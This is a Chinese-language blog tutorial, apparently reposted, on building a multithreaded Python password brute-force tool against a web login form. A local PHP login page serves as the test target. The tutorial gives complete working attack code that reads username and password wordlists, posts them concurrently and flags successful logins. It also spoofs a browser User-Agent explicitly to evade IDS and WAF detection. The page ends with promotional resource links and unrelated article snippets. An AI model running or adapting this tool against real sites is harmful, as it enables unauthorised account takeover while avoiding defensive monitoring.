Python开发:简单的密码爆破工具

2024-05-29 20:36

本文主要是介绍Python开发:简单的密码爆破工具,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

当我们进行在线密码破解时,使用 BurpSuite 以及 wfuzz 足以应对大部分网站应用场景。但是在遇到一些特殊情况时我们还是需要自己来开发密码爆破工具,本文将介绍如何使用Python开发一款简单的密码爆破工具。

 

0x01 背景介绍

密码破解

记得有大佬曾经说过:一个系统的突破往往是从弱口令开始,为了拿到弱口令我们就需要了解密码破解技术。密码破解主要分为离线密码破解和在线密码破解。

在平时渗透时我们通常遇到的就是在线密码破解,破解对象包括各类系统服务以及各种网站应用,当我们面对rdp、ftp、ssh等服务,一般情况下可使用 hydra、超级弱口令爆破工具进行破解;而假如面对的是网站应用,最常用到的就是 BurpSuite、wfuzz。

离线破解主要出现在后渗透阶段,在系统中存在各种加密的哈希值,借助 hashcat、john 等破解工具则能够有效地帮助我们完成密码破解,遇到实在无法破解的密文我们还可以放入在线破解网站进行解密。

Python

Python是一种简单易学,功能强大的编程语言,它有高效率的高层数据结构,简单而有效地实现面向对象编程。Python简洁的语法和对动态输入的支持,再加上解释性语言的本质,使得它在大多数平台上的许多领域都是一个理想的脚本语言,特别适用于快速的应用程序开发。

0x02 环境搭建

我在 macOS 下使用环境搭建工具为 MAMP,环境语言为 PHP。没有 mac 的同学可在 Windows 下可使用 phpstudy 代替即可。MAMP 默认开放8888端口,访问后出现如下界面说明环境开启成功。

截屏2022-04-09 下午11.19.53

源代码以POST方式传递账号密码,主要用于测试密码爆破,具体代码如下:

<?php
$con = mysqli_connect("localhost:8889","root","root","test");
if (mysqli_connect_errno())
{echo "Fail: ".mysql_connect_error();
}
$username = $_POST['username'];
$password = $_POST['password'];
$submit = $_POST['submit'];
if ($submit == "submit"){$result = mysqli_query($con,"select * from users where `username`='".addslashes($username)."' and `password`='".addslashes($password)."'");
}$row = mysqli_fetch_array($result);
if ($row){exit("login success");
}else{exit("login failed");
}
?>

为了配合密码破解在数据库中创建users表并存入一些账号密码。

截屏2022-04-09 下午11.26.00

使用 Python 进行测试并输入正确的账号密码。

import requestsurl = "http://127.0.0.1:8888/python_test/brute/brute_submit.php"
r = requests.post(url, data={"username": "admin", "password": "123456", "submit": "submit"}, headers=headers)print(r.text)

成功返回login success说明环境搭建成功。

截屏2022-04-09 下午11.33.50

0x03 工具开发

配置optparse模块

首先我们使用 Python 自带的 OptParse 模块定制程序的参数选项控制,基本用法如下。

1、导入OptionParser类并新建对象OptionParser()
2、添加选项: add_option(…)
3、参数解析: parse_args()

在 add_option() 中可配置如下参数。

dest: 决定解析后取值时的属性名
type: 选项的值类型,默认类型是字符串
help: 选项中的帮助信息
metavar: 显示到 help 中选项的默认值
action: 用于控制对选项和参数的处理,可设置为以下几种字符串:- "store": 储存值到 dest 指定的属性,强制要求后面提供参数- "store_true": 当使用该选项时后面的 dest 将设置为 true, 不跟参数- "store_false": 当使用该选项时后面的 dest 将设置为 false,常配合另一个 "store_true" 的选项使用同一个 dest 时使用,不跟参数- "append": 储存值到 dest 指定的属性并且是以数组的形式, 必须跟参数- "store_const": 用来存储参数为 const 设置的值到 dest 指定的属性当中,常用于 dest 为同名2个以上选项时的处理,不跟参数- "append_const": 用来存储参数为 const 设置的数组到 dest 指定的属性当中,不跟参数- "count": 使用后将给储存值到 dest 指定的属性值加1,可以统计参数中出现次数,不跟参数- "callback": 后面指定回调函数名(不加括号),会将相应opt和args传给回调函数- "help", "version": 对应为帮助和版本,要另外自己设计时使用

有了以上知识的了解,我们可为爆破工具配置对应的参数选项,主要包括请求地址、账号字典、密码字典以及进程。

import optparseparser = optparse.OptionParser()
parser.usage = "web_brute.py -s url -u user_file -p pass_file -t num"
parser.add_option("-s", "--site", dest="website", metavar="url", help="website to test", action="store", type="string")
parser.add_option("-u", "--userfile", dest="userfile", metavar="FILE", help="username from file", action="store", type="string")
parser.add_option("-p", "--passfile", dest="passfile", metavar="FILE", help="password from file", action="store", type="string")
parser.add_option("-t", "--threads", dest="threads", help="number of threads", action="store", type="int")(options, args) = parser.parse_args()

使用-h命令查看输出的帮助信息。

截屏2022-04-10 上午12.34.44

确认payload

密码字典和线程主要用于控制 payload 请求,线程决定并发的 payload 请求数,而密码决定具体的 payload 请求内容。

import math# 输入参数选项
website = options.website
threads = options.threads
user_dict = options.userfile
pass_dic = options.passfilepass_list = []
# 打开密码字典
with open(pass_dic) as f:temp_list = f.readlines()temp_threads_list = []# 使用临时列表的项数除以线程数确定每一个线程中的项数num = len(temp_list)result = num/threads# 选择floor向下取整result_num = math.floor(result)# 根据项数分配 payloadflag = 0for line in temp_list:flag = flag + 1temp_threads_list.append(line.strip())if flag == result_num:flag = 0pass_list.append(temp_threads_list)temp_threads_list = []# 如果存在余数需添加多余项for line in temp_threads_list:pass_list[threads-1].append(line)

 

多线程扫描

多线程扫描需导入 threading、requests 模块,从字典中获取用户以及密码作为请求参数进行扫描,我们可根据返回长度来判断登陆是否成功。

import requests
import threadingdef scan(payload):user = payload["username"]pass_list = payload["pass_list"]# 遍历密码发送请求for password in pass_list:r = requests.post(url=website, data={"username": user, "password": password, "submit": "submit"})# 打印扫描结果print(user + " : " + password + " length=" + str(len(r.text)) + "\n")threads_list = []
# 打开账号字典
with open(user_dict) as f:user_dict = f.readlines()# 确定payloadfor user in user_dict:for pass_line in pass_list:payload = {"username": user.strip(), "pass_list": pass_line}threads_list.append(threading.Thread(target=scan, args=(payload,)))# 启动线程
for thread in threads_list:thread.start()

 

测试与优化

使用以上代码对目标进行测试,查看扫描效果。

python3 web_brute.py -s http://127.0.0.1:8888/python_test/brute/brute_submit.php -u username.txt -p password.txt -t 4

截屏2022-04-10 上午1.27.21

结果虽然能够完成对目标的测试并成功获取不同的返回值,但是一旦账号密码足够多的话我们很难从一堆扫描结果中找到登陆成功的账号密码,因此我们可定义 test 类作为参考,使用一个错误的返回值进行对比并输出最终的扫描结果。

def test():url = "http://127.0.0.1:8888/python_test/brute/brute_submit.php"r = requests.post(url, data={"username": "mac", "password": "mac", "submit": "submit"})return len(r.text)def scan(paylaod):...for password in pass_list:r = requests.post(url=website, data={"username": user, "password": password, "submit": "submit"},)if len(r.text) != test():print(user + ":" + password + " login success")

再次进行测试,返回结果只显示登录成功的账号密码以及扫描结果。

截屏2022-04-10 上午1.34.39

但是这其中还存在一个问题:使用 requests 库会在请求头中设置默认的User-agent

截屏2022-04-10 上午1.39.41

为了躲避 IDS、WAF 等防御设备,我们可以定制请求头为正常的浏览器请求。

def scan(payload):...headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36"}for password in pass_list:r = requests.post(url=website, data={"username": user, "password": password, "submit": "submit"}, headers=headers)

截屏2022-04-10 上午1.42.17

测试成功,这样一来一个简单的密码爆破工具开发完成,源码如下:

import math
import optparse
import threadingimport requestsparser = optparse.OptionParser()
parser.usage = "web_brute.py -s url -u user_file -p pass_file -t num"
parser.add_option("-s", "--site", dest="website", metavar="url", help="website to test", action="store", type="string")
parser.add_option("-u", "--userfile", dest="userfile", metavar="FILE", help="username from file", action="store", type="string")
parser.add_option("-p", "--passfile", dest="passfile", metavar="FILE", help="password from file", action="store", type="string")
parser.add_option("-t", "--threads", dest="threads", help="number of threads", action="store", type="int")(options, args) = parser.parse_args()website = options.website
threads = options.threads
user_dict = options.userfile
pass_dic = options.passfilepass_list = []
with open(pass_dic) as f:temp_list = f.readlines()temp_threads_list = []num = len(temp_list)result = num/threadsresult_num = math.floor(result)flag = 0for line in temp_list:flag = flag + 1temp_threads_list.append(line.strip())if flag == result:flag = 0pass_list.append(temp_threads_list)temp_threads_list = []for line in temp_threads_list:pass_list[threads-1].append(line)def test():url = "http://127.0.0.1:8888/python_test/brute/brute_submit.php"r = requests.post(url, data={"username": "admin", "password": "12345", "submit": "submit"})return len(r.text)def scan(payload):user = payload["username"]pass_list = payload["pass_list"]headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36"}for password in pass_list:r = requests.post(url=website, data={"username": user, "password": password, "submit": "submit"}, headers=headers)if len(r.text) != test():print(user + ":" + password + " login success")threads_list = []
with open(user_dict) as f:user_dict = f.readlines()for user in user_dict:for pass_line in pass_list:payload = {"username": user.strip(), "pass_list": pass_line}threads_list.append(threading.Thread(target=scan, args=(payload,)))for thread in threads_list:thread.start()

 以后我们可修改其中的参数、变量来应对不同的应用环境。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

 

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

这篇关于Python开发:简单的密码爆破工具的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1014581

相关文章

这15个Vue指令,让你的项目开发爽到爆

1. V-Hotkey 仓库地址: github.com/Dafrok/v-ho… Demo: 戳这里 https://dafrok.github.io/v-hotkey 安装: npm install --save v-hotkey 这个指令可以给组件绑定一个或多个快捷键。你想要通过按下 Escape 键后隐藏某个组件,按住 Control 和回车键再显示它吗?小菜一碟: <template

python: 多模块(.py)中全局变量的导入

文章目录 global关键字可变类型和不可变类型数据的内存地址单模块(单个py文件)的全局变量示例总结 多模块(多个py文件)的全局变量from x import x导入全局变量示例 import x导入全局变量示例 总结 global关键字 global 的作用范围是模块(.py)级别: 当你在一个模块(文件)中使用 global 声明变量时,这个变量只在该模块的全局命名空

Hadoop企业开发案例调优场景

需求 (1)需求:从1G数据中,统计每个单词出现次数。服务器3台,每台配置4G内存,4核CPU,4线程。 (2)需求分析: 1G / 128m = 8个MapTask;1个ReduceTask;1个mrAppMaster 平均每个节点运行10个 / 3台 ≈ 3个任务(4    3    3) HDFS参数调优 (1)修改:hadoop-env.sh export HDFS_NAMENOD

csu 1446 Problem J Modified LCS (扩展欧几里得算法的简单应用)

这是一道扩展欧几里得算法的简单应用题,这题是在湖南多校训练赛中队友ac的一道题,在比赛之后请教了队友,然后自己把它a掉 这也是自己独自做扩展欧几里得算法的题目 题意:把题意转变下就变成了:求d1*x - d2*y = f2 - f1的解,很明显用exgcd来解 下面介绍一下exgcd的一些知识点:求ax + by = c的解 一、首先求ax + by = gcd(a,b)的解 这个

hdu2289(简单二分)

虽说是简单二分,但是我还是wa死了  题意:已知圆台的体积,求高度 首先要知道圆台体积怎么求:设上下底的半径分别为r1,r2,高为h,V = PI*(r1*r1+r1*r2+r2*r2)*h/3 然后以h进行二分 代码如下: #include<iostream>#include<algorithm>#include<cstring>#include<stack>#includ

嵌入式QT开发:构建高效智能的嵌入式系统

摘要: 本文深入探讨了嵌入式 QT 相关的各个方面。从 QT 框架的基础架构和核心概念出发,详细阐述了其在嵌入式环境中的优势与特点。文中分析了嵌入式 QT 的开发环境搭建过程,包括交叉编译工具链的配置等关键步骤。进一步探讨了嵌入式 QT 的界面设计与开发,涵盖了从基本控件的使用到复杂界面布局的构建。同时也深入研究了信号与槽机制在嵌入式系统中的应用,以及嵌入式 QT 与硬件设备的交互,包括输入输出设

OpenHarmony鸿蒙开发( Beta5.0)无感配网详解

1、简介 无感配网是指在设备联网过程中无需输入热点相关账号信息,即可快速实现设备配网,是一种兼顾高效性、可靠性和安全性的配网方式。 2、配网原理 2.1 通信原理 手机和智能设备之间的信息传递,利用特有的NAN协议实现。利用手机和智能设备之间的WiFi 感知订阅、发布能力,实现了数字管家应用和设备之间的发现。在完成设备间的认证和响应后,即可发送相关配网数据。同时还支持与常规Sof

活用c4d官方开发文档查询代码

当你问AI助手比如豆包,如何用python禁止掉xpresso标签时候,它会提示到 这时候要用到两个东西。https://developers.maxon.net/论坛搜索和开发文档 比如这里我就在官方找到正确的id描述 然后我就把参数标签换过来

高效录音转文字:2024年四大工具精选!

在快节奏的工作生活中,能够快速将录音转换成文字是一项非常实用的能力。特别是在需要记录会议纪要、讲座内容或者是采访素材的时候,一款优秀的在线录音转文字工具能派上大用场。以下推荐几个好用的录音转文字工具! 365在线转文字 直达链接:https://www.pdf365.cn/ 365在线转文字是一款提供在线录音转文字服务的工具,它以其高效、便捷的特点受到用户的青睐。用户无需下载安装任何软件,只

【Python编程】Linux创建虚拟环境并配置与notebook相连接

1.创建 使用 venv 创建虚拟环境。例如,在当前目录下创建一个名为 myenv 的虚拟环境: python3 -m venv myenv 2.激活 激活虚拟环境使其成为当前终端会话的活动环境。运行: source myenv/bin/activate 3.与notebook连接 在虚拟环境中,使用 pip 安装 Jupyter 和 ipykernel: pip instal